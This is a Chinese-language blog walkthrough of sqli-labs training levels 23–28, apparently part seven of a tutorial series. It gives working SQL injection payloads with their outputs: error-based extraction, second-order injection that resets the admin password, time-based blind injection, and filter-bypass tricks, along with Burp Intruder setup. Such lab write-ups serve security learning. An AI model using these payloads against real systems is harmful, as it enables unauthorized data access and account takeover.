SQL注入【sqli靶场第23-28关】(七)

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

0、总体思路

先确认是否可以SQL注入,使用单双引号,1/0,括号测试 ’ " 1/0 ),页面显示不同内容或响应长度来确定。存在SQL注入后则开始构造轮子进行验证,猜出数据库,用户名,表名,字段名,有没有文件漏洞等。

为方便验证提交拦截到BP,右击到Repeater修改参数值进行验证看响应内容。

特殊字符说明

+表示空格
--表示注释

1、Less-23

GET - Error based - strip comments

1.1、判断是否存在SQL注入

正常响应长度

SQL注入【sqli靶场第23-28关】(七)_第1张图片

输入带单引号’,响 应长度有变化

SQL注入【sqli靶场第23-28关】(七)_第2张图片

1.2、报错函数

在测试过程中发现union 联合查询的方式一直报错,尝试报错函数成功爆出。

报错函数extractvalue,0x7e是~的ASCII码,字符型后面有加单引号,数字型没有,根据报错函数获取到数据库名,登录名。

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输出内容
XPATH syntax error: '~security~'

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

# 输出内容
XPATH syntax error: '~root@localhost~'

2、Less-24

POST-Second order lnjections Real treat - stored lnjections

二次注入,先注册一个账号带有注释功能的,然后登录,再修改密码

2.1、注册带注释功能的账号

账号:admin'#
密码:123456

2.2、用新账号登录

用新账号登录成功
SQL注入【sqli靶场第23-28关】(七)_第3张图片

2.3、修改密码

修改目标密码为123,用账号:admin,密码:123登录验证是否成功。
SQL注入【sqli靶场第23-28关】(七)_第4张图片SQL注入【sqli靶场第23-28关】(七)_第5张图片SQL注入【sqli靶场第23-28关】(七)_第6张图片

3、Less-25

GET - Error based - All your OR & AND belong to us -string single quote

3.1、判断是否存在SQL注入

正常响应长度
SQL注入【sqli靶场第23-28关】(七)_第7张图片

输入带单引号’,响 应长度有变化
SQL注入【sqli靶场第23-28关】(七)_第8张图片

3.2、报错函数

在测试过程中发现union 联合查询的方式没有达到预期值,尝试报错函数成功爆出。

报错函数extractvalue(),updatexml()没有达到预期值,GTID_SUBSET()成功爆出。

# 输入内容
'-GTID_SUBSET(database(),1)-'

# 输出内容
Malformed GTID set specification 'security'.

# 输入内容
'-GTID_SUBSET(user(),1)-'

# 输出内容
Malformed GTID set specification 'root@localhost'.

SQL注入【sqli靶场第23-28关】(七)_第9张图片

4、Less-25a

GET - Blind Based - All your OR & AND belong to us- lntiger based

4.1、判断是否存在SQL注入

正常响应长度
SQL注入【sqli靶场第23-28关】(七)_第10张图片

输入带单引号’,响应长度有变化
SQL注入【sqli靶场第23-28关】(七)_第11张图片

4.2、借用BP爆破数据库

过滤 or and 关键字 采用重复的方式处理

oorr --> or
anandd --> and

4.2.1、使用时间盲注验证
# 输入内容
+anandd+if(1=1,sleep(1),sleep(5))--+

SQL注入【sqli靶场第23-28关】(七)_第12张图片

4.2.2、爆破数据库长度
# 输入内容
+anandd+if(length(database())=5,1,0)--+

在Repeater右击发送到Intruder,先清除默认的标志位,自己定位到数字5,这个值任意填写的。Attack Type选择:Sniper,参数设置看截图说明。
SQL注入【sqli靶场第23-28关】(七)_第13张图片
SQL注入【sqli靶场第23-28关】(七)_第14张图片
SQL注入【sqli靶场第23-28关】(七)_第15张图片

4.2.3、爆破数据库名
# 输入内容
+anandd+if(substr(database(),1,1)='a',1,0)--+

爆破参数设置看截图说明,需要2个参数,第一个是截取的数据库对应的字段索引,第二个是匹配的内容。
SQL注入【sqli靶场第23-28关】(七)_第16张图片

5、Less-26

GET - Error based - All your SPACEs and COMMENTS belong to us

参考博客:https://blog.csdn.net/m0_71299382/article/details/127944148

5.1、判断是否存在SQL注入

正常响应长度
SQL注入【sqli靶场第23-28关】(七)_第17张图片

输入带单引号’,响 应长度有变化
SQL注入【sqli靶场第23-28关】(七)_第18张图片

5.2、关联查询

回显位在第2位

# 输入内容-数据库名
0'%0bunion%0bselect%0b1,database(),3||'1'='1

# 输入内容-登录名
0'%0bunion%0bselect%0b1,user(),3||'1'='1

SQL注入【sqli靶场第23-28关】(七)_第19张图片

6、Less-27

GET - Error Based-All your UNION & SELECT Belong to us - String - single quote

参考:https://blog.csdn.net/qq_73393033/article/details/132106554

6.1、判断是否存在SQL注入

正常响应长度
SQL注入【sqli靶场第23-28关】(七)_第20张图片

输入带单引号’,响 应长度有变化
SQL注入【sqli靶场第23-28关】(七)_第21张图片

6.2、报错函数

%26是&的URL编码

# 输入内容
'%26%26updatexml(1,concat('~',database(),'~',user()),1)%26%26'1'='1

# 输出内容
XPATH syntax error: '~security~root@localhost'

# 输入内容
'%26%26extractvalue(1,concat(0x7e,(select+database()),0x7e))=1%26%26'1'='1

# 输出内容
XPATH syntax error: '~security~'

SQL注入【sqli靶场第23-28关】(七)_第22张图片

7、Less-28

GET -Error Based- All your UNION & SELECT Belong to us - String -Single quote with parenthesis

参考:https://blog.csdn.net/m0_57736664/article/details/128553406

7.1、判断是否存在SQL注入

正常响应长度
SQL注入【sqli靶场第23-28关】(七)_第23张图片

输入带单引号’,响 应长度有变化
SQL注入【sqli靶场第23-28关】(七)_第24张图片

7.2、确定回显字段

看源码参数闭合是'),尝试验证是不是4个字段,没有回显,修改为了3时回显了,因此可确定是3个字段

# 输入内容
')order%0Aby%0A4;%00

# 页面没有预期回显数据

# 修改为3
')order%0Aby%0A3;%00

SQL注入【sqli靶场第23-28关】(七)_第25张图片

7.3、关联查询

回显位在第2位

# 输入内容-数据库
0')union%0aunion%0aselectselect%0a1,database(),3||('1')=('1

# 输入内容-登录名
0')union%0aunion%0aselectselect%0a1,user(),3||('1')=('1

SQL注入【sqli靶场第23-28关】(七)_第26张图片

8、下期内容预告

截止到目前SQL注入的内容已经分享了7篇,后面会有一篇关于ByPass(绕过)和总结的内容。敬请关注我的公众号:大象只为你,持续更新中…

你可能感兴趣的:(跟我学网安知识,sql,网络安全)